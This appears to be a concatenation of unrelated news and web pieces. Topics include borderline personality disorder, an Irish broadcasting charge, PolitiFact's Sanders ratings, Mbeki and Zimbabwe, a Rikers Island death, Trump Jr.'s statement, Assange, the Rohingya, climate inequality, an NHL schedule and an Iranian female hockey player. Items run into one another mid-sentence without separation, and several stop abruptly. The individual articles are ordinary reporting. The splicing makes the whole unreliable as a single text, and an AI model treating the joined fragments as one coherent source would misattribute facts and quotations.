The exact cause of BPD remains unknown, however, a combination of genetic and environmental factors are thought to be involved. Those who have a family member diagnosed with BPD or an impulse control disorder are at higher risk for being diagnosed themselves as are those who have experienced childhood violence or neglect. Although 75% of diagnoses are in women it is thought that this number is skewed by sampling bias and as such the true gender prevalence is unknown. Diagnosis is made using a thorough interview performed by a professional and based on reported symptoms present since adolescence or early adulthood. The Diagnostic and Statistical Manual of Mental Disorders details nine criteria of which five must be met for a diagnosis of BPD to be made. Although sometimes difficult to diagnose, there is a distinction between BPD and a number of other conditions as a number of the symptoms associated with BPD, such as psychosis and mood changes, are triggered by external events or stressors and are often shorter in duration than those experienced by those with other mental illnesses such as schizophrenia and bipolar disorder. Currently no medication has been approved by the FDA for the treatment of BPD however, many patients are given drugs in conjunction with psychotherapy to help reduce the symptoms of co-occurring disorders such as depression and anxiety. Two of the most popular and effective treatments for BPD are dialectical behaviour therapy and mentalization based therapy. Dialectical behaviour therapy was the first psychotherapy shown to be effective for the treatment of BPD. It involves a mix of individual patient-therapist sessions and group life-skills sessions that focus on: mindfulness, distress tolerance, regulation of emotions, and interpersonal effectiveness. Initial treatment focuses life threatening behaviours such as suicide and self-harm.
Further information regarding BPD is available from a number of sources not limited to those below:
Additional Resources:The Communications Minister Pat Rabbitte has said everyone will have to pay a new broadcasting charge to replace the TV licence, regardless of whether or not they own a television.
The Minister told the Dáil that he is due to receive a value-for-money report on the best way of implementing the new broadcasting charge at the end of March.
The new system is designed to take account of the fact that a growing number of people do not own a TV set and view their television content on mobile devices such smartphones or tablets.
Minister Rabbitte said the new charge will be imposed on every home in the country once it is implemented.
He said: "Publically funded, public service broadcasting and content are now available to everyone on an ever-increasing number of platforms and devices, and in fact access is not dependent on the ownership of a device.
"Everybody benefits from the availability of these services, regardless of how content is accessed or relayed to the public, and therefore it is my view that the cost should be borne by society as a whole."PolitiFact has examined nearly 90 statements by Democratic presidential candidate Bernie Sanders but it hasn’t rated a single one Pants On Fire — a label reserved for only the wildest fabrications. He’s the only White House hopeful this year who has not felt that PolitiFact burn.
PolitiFact California is highlighting how the presidential hopefuls have fared with the truth as the Golden State’s June 7th primary draws near.
Our look at Sanders is part of our PolitiFact ‘Report Card’ series, which examines how accurate the people vying to be commander-in-chief have been. We’ve already profiled the records of Hillary Clinton and Ted Cruz.
All candidates focused this week on the New York presidential primary. But they’re also keeping an eye on California’s upcoming election, which could cement party nominations for Clinton and GOP frontrunner Donald Trump or result in contested conventions this summer.
For each person it examines, PolitiFact tracks how many and what percentage of their claims are rated True, Mostly True, Half True, Mostly False, False and Pants On Fire.
As of this week, PolitiFact has rated 70 percent of the Sanders claims on the true side of the spectrum. He received a Mostly True rating 36 percent of the time, far more than any other label. Sanders earned ratings on the false side of the Truth-O-Meter 30 percent of the time. That breakdown was: Mostly False 17 percent of the time and False 13 percent.
Sanders' PolitiFact report card is below. Click here for a dynamic look at the results.
Overall, the share of ratings on the true and false sides of the meter are similar for Sanders and Clinton. The former New York senator, however, has been fact-checked about twice as often. She’s also received three of the toasty Pants On Fire designations. Sanders has none.
As the Democratic race has intensified in recent weeks, PolitiFact has examined several claims by Sanders about Clinton. It checked Sanders’ April 10th statement on Meet the Press that Clinton supported and continues "to support fracking." The national fact-checking website found what it described as a "well-documented" record of Clinton’s support for fracking in the past. But that wasn’t the end of the story. It ruled "As secretary of state, Clinton supported and promoted fracking around the world. As a 2016 candidate, her support comes with conditions such as local choice, stronger environmental regulation and chemicals. Sanders’ claim is accurate but needs additional information. We rate it Mostly True."
Likewise, PolitiFact played referee when Clinton went after Sanders.
In a CNN interview on April 6, Clinton said Sanders "wants higher standards for toy guns than real guns."
Clinton was pointing to a 2005 vote by Sanders in favor of a law granting the gun industry certain immunity from lawsuits. PolitiFact found there’s no consensus among scholars about whether that law made the gun industry less liable than other industries, including the toy gun industry. It rated the claim Half True, meaning it’s partially accurate but leaves out important details or takes things out of context.
Vermont Sen. Bernie Sanders speaks at his presidential campaign rally in San Diego on March 22, 2016. Lenny Ignelzi / AP
During his recent visit to California and throughout his campaign, Sanders has made voter turnout a key talking point. Stumping in San Diego last month, PolitiFact California labeled Mostly True his claim that "Today, the United States has, sadly, one of the lowest voter turnouts of any major country on earth." The statement is accurate, but we noted that voting is compulsory in several developed countries, a point Sanders left out.
The national PolitiFact team recently slapped Sanders with a Mostly False, however, for his April 12th claim that "We win when voter turnout is high, we lose when it is low." It found that "Sanders did notch a few notable victories in high-turnout primaries, but it would be cherry-picking to focus only on primaries. Sanders has mostly won caucuses, which have produced the lowest turnout rates of 2016 across the board." It continued: "The statement contains some element of truth but ignores critical facts that would give a different impression."
Clinton and Sanders have earned far fewer false ratings than either of the leading GOP candidates for president.
As of this week, PolitiFact had rated about two-thirds of Cruz’ claims either Mostly False, False or Pants On Fire. Meanwhile, it’s rated closer to three-quarters of Trump’s statements on the false side of PolitiFact’s Truth-O-Meter.
Contact PolitiFact California on Twitter @CAPolitiFact with interesting or provocative claims made by presidential candidates while they’re stumping in California. We’ll review them for a possible fact check.Recently a frustrated Morgan Tsvangirai, leader of the Zimbabwean opposition, wrote to tell the South African president, Thabo Mbeki, that "there will be no country left" in Zimbabwe by the time Mbeki finishes mediating between Robert Mugabe and Tsvangirai's Movement for Democratic Change. Tsvangirai was of course referring to Mbeki's duplicity in his role as the Southern African Development Community's official mediator between the Zimbabwean parties. Mbeki favours Mugabe and the ruing Zanu-PF. When pressed about the letter, Mbeki characteristically insisted that it had never arrived. And rather than replying, Mbeki wrote to the American president, George Bush, instead, telling Bush "in a text packed with exclamation points", that official US government criticisms of Mugabe were off the mark. Mbeki, in what could also be interpreted as his first unambiguous public endorsement of Mugabe's violent regime, charged that the Americans were "disrespecting the views of the Zimbabwean people" and should "butt out, that Africa belongs to [Mbeki]."
Of course, since then Tsvangirai has pulled out of the Zimbabwean elections and Mbeki has been to Zimbabwe again, where he met with Mugabe last week. This visit is in contrast to his behaviour, 10 days into the murderous pogrom against black immigrants to South Africa (among them Zimbabweans fleeing the political and economic crises in their country), when Mbeki could only muster up a rote statement from the air-conditioned comfort of a TV studio. A total of 62 people were murdered and thousands left homeless in the xenophobic violence. And then Mbeki promptly left on a state visit to Japan. Since then Mbeki has not once been out to one of the affected areas. But he found time to visit Mugabe.
Reviewing the events of the last few weeks reminded me of the insights of the Nigerian writer and Nobel Laureate, Wole Soyinka, upon meeting Thabo Mbeki.
As Soyinka recounts it in his memoir You Must Set Forth at Dawn, he first met Mbeki at a dinner in honour of Nelson Mandela – Soyinka's "favourite avatar" – in Paris, right after Mandela was released from an apartheid jail after 27 years. The dinner was the "most expensive" that Soyinka ever attended. The French president François Mitterand played host. A small entourage accompanied Mandela, including the two men jostling to be his presumptive heir – Thabo Mbeki, who in the resistance movement's exile was the right-hand man to Mandela's predecessor Oliver Tambo, and Cyril Ramaphosa, who would lead the ANC in constitutional negotiations with the apartheid government. The events of the dinner would be unremarkable, amounting to nothing more than a color piece, if not for Soyinka's insights of Thabo Mbeki, who is now South Africa's president.
At that time, black townships around Johannesburg and in Kwazulu-Natal province on the country's east coast were engulfed by political violence, the result of a state-sponsored proxy war by Mangosuthu Buthelezi's Inkatha Freedom party against members of Mandela's African National Congress. Soyinka, while acknowledging that Buthelezi was an unscrupulous and ethically challenged politician, reasoned that that since "the chief" had a large following, he needed to be recognised and engaged with – and that Mandela should personally meet with him. So did Mandela and Ramaphosa (Soyinka describes Ramaphosa's manner as "more accommodating"). The same cannot be said for "an unsmiling" Thabo Mbeki, who said: "It is not possible to hold a dialogue with that kind of person." Mbeki could hardly pronounce Buthelezi's name "without his smallish, nearly triangular face expunging all expression, leaving only the hardness of his eyes." (OK, even I agree that perhaps here Soyinka went a bit over the top with this description.)
Mbeki interjected a few more times, repeating his objections, what Soyinka likened to a "a party-line diktat". As Soyinka left the dinner, he summed up his impressions: "Even the body language of the two – Thabo Mbeki and Nelson Mandela – spoke volumes, and the contrast read out a stark warning."A picture of a young Jerome Murdough is held by his mother Alma Murdough left, and sister Cheryl Warner at Alma Murdough’s home in the Queens borough of New York. Jerome Murdough, a homeless former Marine arrested for sleeping in the roof landing of a New York City public housing project died last month in a Rikers Island jail cell that multiple city officials say was at least 100 degrees when his body was discovered. Murdough, 56, was found dead in his cell in a mental observation unit in the early hours of Feb. 15. (AP Photo/Jason DeCrow)
A homeless veteran, incarcerated for trespassing in a stairwell, has died in his cinderblock jail cell in New York’s Rikers Island where temperatures exceeded a hundred degrees because of a heating malfunction.
The Associated Press, which broke the story, quotes an unnamed official saying Jerome Murdough, 56, “basically baked to death.”
The city is investigating.
Murdough’s family members, proudly holding a portrait of him in his crisp Marine uniform, say he grew up in Queens, enlisted right out of high school and served a tour in Okinawa, Japan.
When he returned, they saw signs of mental illness and an increased appetite for alcohol.
He started wandering around the city, disappearing for months at a time. His mother told reporters he roamed in and out of halfway houses, hospitals and homeless shelters. And though she urged him to return to Queens and live at home, he refused, The New York Times reported.
News reports say he had built a criminal record: 11 misdemeanor convictions for trespassing, drinking in public and minor drug charges, said Ivan Vogel, a public defender who represented him at his arraignment on the trespassing charge.
On Feb. 7, with temperatures averaging 30 degrees outside, Murdough wandered into an enclosed stairwell on the roof of a New York City Housing Authority building in East Harlem, looking for a warm place to sleep. News reports say it was there he was found by police and arrested for trespassing.
“This is where I live, in the roof landing,” Murdough told police, The Times said, citing the criminal complaint.
News reports say Murdough’s bond was set at $2,500 — a price he could not afford. So he stayed in jail.
A week after the arrest — on Valentine’s Day — Murdough was taken into a 6-by-10 cinderblock cell at Rikers Island. He was in the mental observation unit, where he was supposed to be checked on every 15 minutes, officials told reporters. But he wasn’t, according to the AP.
Four hours later, at about 2:30 a.m. on Feb. 15, he was found dead.
The AP reported that the medical examiner’s office said an autopsy was inconclusive, but officials said initial indications point to extreme dehydration or heat stroke.
News reports say Murdough’s internal body temperature nearly matched the temperature in his cell: at least 100 degrees.
Officials said those temperatures could have been even higher before they found him slumped over in his bed in the cell, which, they said, had overheated because of malfunctioning equipment.
They said Murdough hadn’t cracked the small vent in his cell, as other inmates had done, to let in cool air. And they told the AP he had been taking anti-psychotic and anti-seizure medications, which could have made him more susceptible to the extreme heat in his cell.
His 75-year-old mother, Alma Murdough, told reporters she did not learn of her son’s death until last week when she was called by the AP.
In a statement issued Wednesday, Department of Corrections Acting Commissioner Mark Cranston said:White House press secretary Sarah Huckabee Sanders on Tuesday said President Donald Trump did “as any father would” when he worked on a statement brushing off his eldest son’s June 2016 meeting with a Kremlin-linked lawyer as insignificant.
“The President weighed in as any father would, based on the limited information that he had,” Sanders said during her daily briefing.
The Washington Post on Monday night reported that Trump dictated his son Donald Trump Jr.’s initial statement about his meeting with a Russian lawyer. Trump Jr. attended the meeting after being promised damaging information on Hillary Clinton as part of a Russian government effort to help his father’s campaign, but characterized it as a discussion about Russian adoption in his initial response.
Jay Sekulow, a member of Trump’s outside legal team, repeatedly denied in July that President Trump had anything to do with his son’s statement.
Sanders called questions about Trump’s involvement with the statement “discussion, frankly, of no consequence.”
“There was no follow-up,” she said. “It was disclosed to the proper parties.”
Sanders blamed Democrats who “want to continue to use this as a PR stunt and are doing everything they can to keep this story alive and in the papers every single day.”
Asked about Trump’s involvement in writing the statement, Sanders said, “He certainly didn’t dictate, but you know, he — like I said, he weighed in, offered suggestion, like any father would do.”
“Look, the statement that Don Jr. issued is true,” she claimed. “There’s no inaccuracy in the statement.”
Sanders also denied that she was involved with any discussion about Trump Jr.’s initial statement.
“I wasn’t part of a conversation regarding the statement,” she said. “I was on the plane, but I wasn’t part of the conversation.”Julian Assange has lost another of his dwindling band of loyal supporters. David House, one of very few people to have met both Assange and the WikiLeaks suspect Bradley Manning, has denounced the WikiLeaks founder in a blaze of excoriating tweets.
House, a computer scientist based at MIT in Cambridge, Massachusetts, launched his attack on Assange out of the blue on Tuesday morning from his twitter account @VoxVictoria:
David House (@VoxVictoria) As long as # WikiLeaks remains icon of the Open Government movement, the antics of Assange will continue to reflect negatively on us all.
The Twitter attack from House continued with a comment that as long as WikiLeaks is controlled by Assange, the shortcomings of his leadership would "continue to put WikiLeaks' supporters at risk". The implicit reference to Manning – the US soldier facing 22 charges as the alleged source of the massive WikiLeaks publication of state secrets – was made explicit in House's next tweet:
David House (@VoxVictoria) The alleged actions of Bradley Manning have not been edified by the missteps of # WikiLeaks under the direction of Julian Assange.
House's criticisms come two days after WikiLeaks claimed credit for a hoax article under the name former New York Times editor Bill Keller which was circulated widely on the internet. The organisation's involvement in the hoax drew criticism that it had undermined its credibility for a publicity stunt.
House's decision to publicly call for Assange's removal is significant because until now he has been assumed to be a firm supporter of the Wikileaks founder. He took a defiant stance after he was called before a grand jury in Virginia investigating the possibility of bringing criminal charges against Assange for the WikiLeaks publication of the Iraq and Afghanistan war logs and hundreds of thousands of confidential US diplomatic cables.
Not only did House refuse to answer any questions in front of the grand jury, pleading the Fifth Amendment, he recently took the legally risky step of publishing his notes of the proceedings – a rare breach of grand jury secrecy.
House used to be one of the few people allowed to visit Bradley Manning in more than two years in military custody. House is still regularly referred to as a "close friend of Manning". However, Manning cut him off from his small list of approved visitors several months ago, for unknown reasons, and the description is no longer appropriate.
It is true, though, that House has the distinction of being in a very select – perhaps even unique – class of having met both Manning and Assange. Apart from his visits to Manning, he also met Assange in London on a few occasions. These meetings took place after Manning was arrested in May 2010.
Assange remains in sanctuary in the Ecuadorean embassy in London seeking to avoid extradition on sexual misconduct allegations to Sweden. His inner circle of supporters and WikiLeaks staff has already withered to about five or six people.
House describes himself as an "open-government advocate and information economics researcher with the MIT Center for Digital Business".
In his tweets on Tuesday House encouraged his followers to donate to the Bradley Manning defense fund and accused Assange of deviating from the core values he held for what he called "open government whistleblowers and activists":
David House (@VoxVictoria) Assange deviated from these core values. Either he must be replaced at # WikiLeaks, or WikiLeaks must be displaced within OpenGov movement.
House declined to comment to the Guardian.
His Twitter onslaught provoked a robust response from several people who still see Assange as a free information hero. Typical was the tweet from Elizabeth Ferrari: "Attacking Assange is counter-productive to the defense of all whistleblowers being persecuted by the American gov."* 5:34 pm - I’ve been working on this for the past couple of hours. Nobody from either side has either been available or has wanted to talk until now. From AFSCME…
QUINN ADMINISTRATION TERMINATES UNION CONTRACT
In an unprecedented step, Governor Pat Quinn’s administration late today terminated state government’s contract with its largest employee union, the American Federation of State, County and Municipal Employees (AFSCME) Council 31.
“In 40 years of collective bargaining, Pat Quinn is the first and only Illinois governor to terminate a union contract,” AFSCME executive director Henry Bayer said. “His actions will heighten employee frustration, provoke instability in the workplace and make settling a contract more difficult.”
AFSCME has been in negotiations over a new collective bargaining agreement for nearly a year. Scheduled to expire last June 30, the previous contract’s terms had since been extended by mutual agreement of the parties. But following a bargaining session with a federal mediator in Springfield today, the Quinn administration rejected a further extension offered by the union.
Terminating the contract has little immediate practical effect, as all existing terms and conditions of employment remain in place under state law. But it signals the Quinn Administration’s lack of respect for the collective bargaining process.
“While AFSCME is committed to reaching a fair agreement, Pat Quinn seems bent on heading in the wrong direction,” AFSCME director Bayer said. “Our union wants constructive engagement but the governor is choosing confrontation instead.”
AFSCME Council 31 represents 40,000 men and women who work for the State of Illinois. AFSCME-represented state employees care for veterans and the disabled, help struggling families, protect children from abuse, maintain safe prisons and much more.Stephen Colbert invited his “precious” Andy Serkis on The Late Show Tuesday night.
The War for the Planet of the Apes star channeled his Lord of the Rings character, Gollum, for a dramatic reading of U.S. President Donald Trump’s tweets.
Serkis hopped into a crouched position on his chair and dived into his Lord of the Rings character to read for the audience.
READ MORE: Stephen Colbert says he was followed by intelligence agents in Russia
The actor first read one of Trump’s tweets from June 13 about how “The Fake News Media has never been so wrong or so dirty.”
The Fake News Media has never been so wrong or so dirty. Purposely incorrect stories and phony sources to meet their agenda of hate. Sad! — Donald J. Trump (@realDonaldTrump) June 13, 2017
Serkis then read Trump’s “covfefe” tweet from May 31.
Despite the constant negative press covfefe — Donald J. Trump (@realDonaldTrump) May 31, 2017
READ MORE: The ‘COVFEFE Act’: U.S. lawmaker wants to preserve Donald Trump’s tweets
After reading the tweet, Serkis asked Colbert, “Wait! What’s covfefe precious?”
“No one knows,” Colbert responded.
“I got to say, they actually sound better that way,” Colbert noted of Serkis’ performance.
Watch Serkis read Trump’s tweets in the video above.YANGON (Reuters) - The U.S. labelling of a Myanmar army crackdown on Rohingya Muslims as “ethnic cleansing” is unhelpful and could aggravate the situation, Russia’s ambassador to the southeast Asian nation said on Thursday, criticising “excessive external intervention”.
A Rohingya refugee stands outside her makeshift shelter at Hakim Para refugee settlement near Cox's Bazar, Bangladesh, November 21, 2017. REUTERS/Susana Vera
Rights groups have accused the military in mostly Buddhist Myanmar of carrying out mass rape and other atrocities during a ferocious military sweep launched in late August in retaliation for attacks by Rohingya Muslim militants in Rakhine State.
That drove 620,000 Rohingya refugees, many traumatised with gunshot wounds and burns, to flee to Bangladesh, joining hundreds of thousands who have sheltered there for years after previous spasms of violence in the former Burma.
The military operation amounted to “ethnic cleansing”, the United States said on Wednesday, echoing an accusation first made by top U.N. officials in the early days of the humanitarian crisis.
“I don’t think that it will help to solve this problem,” Russian ambassador Nikolay Listopadov told Reuters in an interview in Yangon, when asked about the U.S. move.
“On the contrary, it can aggravate the situation, throw more fuel,” he said in English, citing concern over how the Buddhist community in Rakhine would react to such a designation.
This month, Russia and China agreed to a U.N. Security Council statement urging Myanmar to “ensure no further excessive use of military force” and expressing “grave concern over reports of human rights violations”, but they have opposed tougher steps and further pressure on Myanmar.
“We are against excessive external intervention, because it won’t lead to any constructive results,” Listopadov said. “Just pressure and blaming and accusing - it simply won’t work.”
On a visit to Myanmar last week, U.S. Secretary of State Rex Tillerson urged the government of Nobel Peace Prize winner Aung San Suu Kyi to lead a credible and impartial inquiry, saying those who committed abuses should be held responsible.
But prospects for such an inquiry remain dim and Suu Kyi’s government refused to cooperate with a mission launched by the United Nations Human Rights Council in March after a less intense bout of violence in Rakhine.
The “so-called independent investigation” demanded by Tillerson was “absolutely” out of the question for Myanmar, Listopadov said.
“It’s absolutely not acceptable for the Myanmar side - it will never accept it...it won’t work - it’s counterproductive,” said Listopadov. “Independent investigation means international (investigation) - no, it’s not acceptable.”
Moscow’s approach was for the Rakhine issue to be solved by “political means, political dialogue,” he added, without elaborating.
He welcomed talks being held in Myanmar’s capital of Naypyitaw between Myanmar and Bangladesh on the repatriation of Rohingya refugees, stressing it was “important to start this process.”
“We wish them success,” said Listopadov, “this complicated Rakhine issue can be solved mostly only by negotiations and agreements between the two sides, because they’re the most involved,” he said, referring to Bangladesh and Myanmar.
China wants closer ties with Myanmar’s military to help protect regional peace and security, a senior Chinese general told the visiting head of the southeast Asian country’s army this week.ISLAMABAD (Reuters) - Fourteen Pakistani detainees were released from U.S. custody in Bagram Prison in Afghanistan and repatriated to Pakistan on Saturday, a Pakistani legal firm representing some of the prisoners said.
Justice Project Pakistan has been representing several Bagram detainees since 2010 in a bid to force the Pakistani government to bring them home.
So far no information has been provided by the Pakistani authorities on the names of the released detainees or their current whereabouts, said Sarah Belal, a lawyer with Justice Project Pakistan.
One of the released detainees is 29-year-old Abdul Halim Saifullah, Belal said, citing information from the Red Cross.
She said he disappeared nine years ago from the southern city of Karachi after dropping his father off at a hospital and has been detained in Bagram ever since.
Including the group released on Saturday, 39 Pakistanis have been released from Bagram in the past 10 months. At least one Pakistani is thought to still be in prison there, although the exact numbers are unclear since no official list has been provided since 2012.
Sarah Belal, lead counsel for Justice Project Pakistan, said the government did not inform the families about the release and she feared the men may now be transferred to secret Pakistani prisons.
“We still don’t know about the whereabouts of the nine detainees released last month. The lack of clarity with today’s tranche gives us reason to fear that they too may be held incommunicado by the Pakistani authorities,” she said.New research proves that the countries least responsible for global warming, those least able to adapt, have already been hit much harder by deadly extremes than rich nations — and the gap is growing
Hot Days Frequency Index, 1960-2010. The percentage of extremely hot days experienced each year by low-income (blue) and high income countries (red). Thick lines represent 20 year running means.
by Ian Angus
The world’s poorest countries, those with the lowest greenhouse gas emissions, will be the most severely affected by extreme temperatures brought on by global warming.
Statements such as that appear in virtually every report and article on climate change. A feature of most such statements is use of the future tense: the poorest countries will be worse-hit than the rich ones.
But new research shows that the predicted unequal climate future has actually been with us for decades. The poorest countries have already experienced twice as great an increase in extreme temperatures as the rich ones, and the gap has been widening for more than thirty years.
A study published last week in the journal Environmental Research Letters,[1] compares the number of extremely hot days and nights in high- and low-income countries, showing how the frequency has changed since the period 1961-1990. In poor countries, there were 37 hot days a year before 1980: by 2010 that figure more than doubled, to 80 a year. In rich countries the number of hot days rose from 37 days a year to 55.[2] The figures are similar for hot nights.
As the report says, “low income countries have experienced more than twice the increase in the number of hot days occurring each year compared to high income countries.”
The researchers point out that because most poor countries are in the tropics, the human impact of hot days is more dangerous. When normal temperatures are already “close to the upper threshold for human comfort,” even a small increase in day and night temperatures “can contribute substantially to heatwave mortality.”
The authors draw three conclusions from the data.
“Low income countries have already suffered disproportionately from global warming and have done so for decades…. Low income populations should expect more severe temperature extremes earlier than high income populations as greenhouse gas emissions continue.” “If the rate of change in temperature extremes remains the same in low-income countries, then within two decades the number of hot days experienced each year will very likely triple compared to the 1961–1990 average …. Such changes may be socially and economically destabilising.” Climate change negotiations should “take into consideration the faster growth in temperature extremes that most low-income countries have already experienced due to global warming. Our findings give weight to arguments developed by many low-income countries to justify an increase in their adaptation finance as they have already experienced disproportionately adverse impacts from global warming—and are likely to continue to do so. Our findings also lend support to calls for explicit loss and damage compensation.”
The report’s lead author says, “It’s not good for low-income or high-income countries but it’s particularly worse for the low-income countries as they are the ones which can least afford to adapt.”[3]
As I’ve written elsewhere, “a handful of Spaceship Earth’s passengers travel first-class, in plush air-conditioned cabins with every safety feature, including reserved seats in the very best lifeboats. The majority are on wooden benches in third-class, exposed to the elements, with no lifeboats at all |
some protesters held a flag of the Turkish president with a gun pointing to his head.
That drew a furious response from Erdogan.
“Radical terrorist organisations had a picture of me outside the Swiss parliament today showing a gun pointing to my head. Is it possible that there is such a mentality? Is it possible that there is such a way of thinking? And this took place in Switzerland,” the Turkish president said.
Erdogan has vowed to review ties with Europe and earlier on Saturday he also said he might hold another referendum on whether to continue EU accession talks.
Ankara has accused some European countries, notably Germany and the Netherlands, of allowing ‘No’ campaign rallies to take place ahead of April’s constitutional referendum vote while banning the ‘Yes’ camp.WASHINGTON — With studies suggesting that long lines at the polls cost Democrats hundreds of thousands of votes in November, party leaders are beginning a push to make voting and voter registration easier, setting up a likely new conflict with Republicans over a deeply polarizing issue.
White House officials have told Congressional leaders that the president plans to press for action on Capitol Hill, and Democrats say they expect him to highlight the issue in his State of the Union address next week. Democrats in the House and Senate have already introduced bills that would require states to provide online voter registration and allow at least 15 days of early voting, among other things.
Fourteen states are also considering whether to expand early voting, including the battlegrounds of Florida, Ohio and Virginia, according to FairVote, a nonprofit group that advocates electoral change. Florida, New York, Texas and Washington are looking at whether to ease registration and establish preregistration for 16- and 17-year-olds.
Several recent polls and studies suggest that long waiting times in some places depressed turnout in 2012 and that lines were longest in cities, where Democrats outnumber Republicans. In a New York Times/CBS News poll taken shortly after Election Day, 18 percent of Democrats said they waited at least a half-hour to vote, compared with 11 percent of independents and 9 percent of Republicans.SAINT PAUL, Minn. – The Minnesota Wild’s 2016-17 National Hockey League (NHL) regular season schedule was released today. The Wild opens the season on the road against the St. Louis Blues at 7 p.m. CT on Thursday, Oct. 13 and then returns home to host the Winnipeg Jets on Saturday, Oct. 15 at 6 p.m. The club will play 10 of its first 16 games against Eastern Conference opponents including seven road matches against the East.
The 2016-17 schedule consists of 82 games – 41 at Xcel Energy Center and 41 road contests. The Wild’s home schedule features 17 weekend games (three on Friday, nine on Saturday and five on Sunday). Most evening games at Xcel Energy Center will begin at 7 p.m.
Minnesota will play 29 games against the Central Division, including five each against Colorado (three home, two road), Dallas (two home, three road), Nashville (two home, three road), St. Louis (three home, two road) and Winnipeg (two home, three road), and four vs. Chicago (two home, two road).
The Wild will also play three games against each team in the Pacific Division: Anaheim (two home, one road), Arizona (two home, one road), Calgary (one home, two road), Edmonton (one home, two road), Los Angeles (two home, one road), San Jose (two home, one road) and Vancouver (one home, two road).
Minnesota will play each team in the Eastern Conference twice (once at home and once on the road) for a total of 32 contests. Popular Eastern Conference visits to Xcel Energy Center include Boston (Nov. 17), Detroit (Feb. 12), Montreal (Jan. 12), the New York Islanders (Dec. 29), the New York Rangers (March 18), Toronto (Oct. 20), Tampa Bay (Feb. 10), Washington (March 28) and the defending Stanley Cup champion Pittsburgh Penguins (Nov. 25). The 2017 NHL All-Star Game will take place on Jan. 29 at STAPLES Center in Los Angeles, Calif.
2016-17 MINNESOTA WILD SCHEDULE NOTES
Home Games by Day: Mon. – 1, Tue. – 12, Wed. – 2, Thur. – 9, Fri. – 3, Sat. – 9, Sun. – 5
Road Games by Day: Mon. – 1, Tue. – 8, Wed. – 2, Thur. – 10, Fri. – 3, Sat. – 9, Sun. – 8
Home Games by Month: Oct. – 4, Nov. – 6, Dec. – 7, Jan. – 6, Feb. – 8, March – 8, April – 2
Road Games by Month: Oct. – 5, Nov. – 7, Dec. – 7, Jan. – 7, Feb. – 4, March – 8, April – 3
Games by Conference/Division
Western Conference: Central Division (29 games), Pacific Division (21 games)
Eastern Conference: Metropolitan Division (16 games), Atlantic Division (16 games)
Anaheim-2, Arizona-2, Boston-1, Buffalo-1, Calgary-1, Carolina-1, Chicago-2, Colorado-3, Columbus-1, Dallas-2, Detroit-1, Edmonton-1, Florida-1, Los Angeles-2, Montreal-1, Nashville-2, New Jersey-1, New York Islanders-1, New York Rangers-1, Ottawa-1, Philadelphia-1, Pittsburgh-1, St. Louis-3, San Jose-2, Tampa Bay-1, Toronto-1, Vancouver-1, Washington-1, Winnipeg-2
Wild Visits To Road Cities (41): Anaheim-1, Arizona-1, Boston-1, Buffalo-1, Calgary-2, Carolina-1, Chicago-2, Colorado-2, Columbus-1, Dallas-3, Detroit-1, Edmonton-2, Florida-1, Los Angeles-1, Montreal-1, Nashville-3, New Jersey-1, New York Islanders-1, New York Rangers-1, Ottawa-1, Philadelphia-1, Pittsburgh-1, St. Louis-2, San Jose-1, Tampa Bay-1, Toronto-1, Vancouver-2, Washington-1, Winnipeg-3
After NHL All-Star Game (Jan. 29) – Minnesota will have 34 games remaining on its schedule, including 18 home games and 16 road contests. The Wild will play 13 games each against the Eastern Conference, 12 contests against the Central Division and nine against the Pacific Division.
Longest Homestand: 8 games (longest in franchise history - previous record was 7 games, Jan. 5-20, 2006)
Feb. 8 – 27 vs. Chicago, Tampa Bay, Detroit, Anaheim, Dallas, Nashville, Chicago, Los Angeles
Longest Road Trip: 5 games
Nov. 26 – Dec. 7 at St. Louis, Vancouver, Calgary, Edmonton and Toronto
March 9 – 16 at Tampa Bay, Florida, Chicago, Washington and Carolina
Back-To-Back Games: 14 sets – the Wild had 15 sets of back-to-back contests in 2015-16.
Back-to-back on road: 7
Home game followed by road game next day: 4
Road game followed by home game next day: 2
Back-to-back at home: 1
Five-day Bye Week: Feb. 22 – 26
600th Regular Season Home Game at Xcel Energy Center: Oct. 29 vs. Dallas
Length of Wild’s 2016-17 Season: 178 days (Oct. 13 – April 8). The 2015-16 season lasted 185 days.
Air miles: The Wild will travel an estimated 41,441 air miles during the 2016-17 season. Last season Minnesota logged 42,416 air miles.Sir Ian McKellen to reprise his role as Gandalf in “The Hobbit”
at 7:29 pm by - January 10, 20117:29 pm by Altaira
More fantastic news for Hobbit fans! The Hollywood Reporter is reporting that Sir Ian McKellen will reprise his role as Gandalf the Grey in the upcoming Hobbit movies: Ian McKellen has signed on to return as wizard Gandalf in The Hobbit, the two-pic adaptation of the J.R.R. Tolkien novel being directed by Peter Jackson. The dealmaking on Hobbit for a slew of Jackson veterans from his Lord of the Rings trilogy has been coming fast and furious and comes on the heels of Andy Serkis finally inking his deal to reprise Gollum. Read More…
Update: Sir Ian’s comments – “For a year or more, I have been arranging my professional commitments around the possibility of The Hobbit films starting at almost anytime.” Read more at www.mckellen.com.An equal rights group says that it filed a complaint against an Adams Morgan bar Tuesday for allegedly discriminating against a transgender customer.
The customer, Amira Gray, showed Lambda Legal a photograph of the receipt that the bar, Bistro 18, gave her and her friends. Where the customer’s name would ordinarily go, the receipt said, “Gay Bitches.”
Lambda Legal, which offers free legal representation for civil rights cases involving LGBT people, said that it filed a complaint against Bistro 18 with the D.C. Office of Human Rights.
In a news release, Gray said that the incident took place on Aug. 11, 2013. She and her eight friends seated themselves and waited for a server to approach their table. Servers approached other guests, the news release claimed, but Gray and her friends eventually had to go to the bar to order. A server only came to their table once, to bring the hookah that they had ordered at the bar, the news release claimed.
Bistro 18 could not be reached for comment by phone and did not respond to an online message Wednesday afternoon.
This image distributed by Lambda Legal allegedly shows receipt that transgender woman and her friends received at Bistro 18. (Lambda Legal)
“When my friends and I saw the receipt, we were humiliated and embarrassed,” Gray said in the release. “We went in planning to enjoy Bistro 18 just like everyone else in the hookah bar that evening, but it turned into a disturbing experience.”
Elliot Imse, director of policy and communications at the Office of Human Rights, said that the office would not confirm or deny complaints it has received.
He said that a typical complaint of public accommodations discrimination against an establishment like a restaurant starts with an interview with the complainer, then a mandatory mediated meeting between the complainer and the accused establishment.
Both sides might agree to a resolution, like sensitivity training for the business’s staff, Imse said. If not, the Office of Human Rights investigates the complaint, a process that takes up to six months, and an administrative law judge at the Commission on Human Rights hears the case.
Imse said that the judge might award damages to be paid to the victim, but a discrimination complaint of this sort would not result in fines paid to the city.By George Da Silva – National Teams of Ice Hockey
Meet Guila Mohajer who is the first and only female Ice hockey player in Iran. We like to thank Keith McAdams who introduce her to us and we had a opportunity to ask her a few questions about hockey in Iran.
Can you tells us a little bit about yourself?
